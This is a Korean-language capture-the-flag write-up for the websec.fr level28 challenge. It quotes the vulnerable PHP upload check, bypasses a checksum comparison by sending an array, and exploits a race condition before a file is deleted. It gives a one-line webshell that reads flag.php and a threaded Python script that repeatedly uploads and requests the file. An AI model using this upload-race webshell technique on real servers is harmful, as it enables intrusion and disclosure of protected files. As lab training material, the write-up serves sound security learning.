문제 접근 후 코드를 보자.
if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
include($filename); // it contains the `$flag` variable
} else {
$flag = "Nope, $filename is not the right file, sorry.";
sleep(1); // Deter bruteforce
}
unlink($filename);
먼저 $_POST['checksum']과 crc32($_POST['checksum']) 부분은 PHP loose comparison에 의해 checksum을 array 형태로 전송하면 우회가 된다.
하지만 $filename은 $_SERVER['REMOTE_ADDR']을 이용하여 생성하기 때문에 flag.php로 만들어줄 수가 없다.
여기서 삽질의 삽질을 하다 unlink($filename)을 통해 내가 업로드한 파일을 삭제하기 전 sleep(1)을 통해 잠시 대기하는 코드를 보았다.
이를 통해 공격을 진행해보았다.
방법은 이렇다.
1. flag.php 파일을 볼 수 있도록 웹쉘 파일을 작성한다.
#웹쉘 코드
<?php show_source('flag.php') ?>
2. 해당 웹쉘 파일을 업로드한다.
3. 업로드 후 1초안에(파일이 삭제되기 전에) 해당 파일에 접근한다.
- 파일명은 md5($_SERVER['REMOTE_ADDR'])이며 문제에서 출력해주기도 한다.
Burp Repeater를 이용하여 문제가 풀리기도 하지만 Python으로 코딩하여 문제를 풀어보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import requests import threading import sys def file_upload(): while(1): upload_url='http://websec.fr/level28/index.php' files = {'flag_file': open('flag.php','rb')} payload = {'checksum':'123','submit':'Upload and check'} r = requests.post(upload_url,files=files, data=payload) print "[+] webshell upload" #print r.text def flag_read(): while(1): url='http://websec.fr/level28/파일명.php' response = requests.get(url) if(response.status_code!=404): print response.text sys.exit() else: print "[-] Not Found Your Webshell" def main(): t1=threading.Thread(target=flag_read) t2=threading.Thread(target=file_upload) t1.start() t2.start() if __name__ == '__main__': main() | cs |
추가
이렇게 서버 측에서 해당 파일에 대해 작업을 하기 전 예상하지 못한 작업을 하는 공격을 race condition vulnerability 이라고 한다.
해당 기법은 보통 시스템 해킹 시 많이 사용되며 해당 기법을 통해 root 권한을 탈취할 수도 있다.
이번 문제를 풀기 전에 시스템 해킹에서만 사용되는 기법으로 알고 있었는데 웹에서도 나올 수 있구나를 알 수 있었으며 이를 통해 역시 보안의 모든 분야는 연결되어있음을 또 한번 느낄 수 있었다.
참고)
https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)
https://blogger.pe.kr/363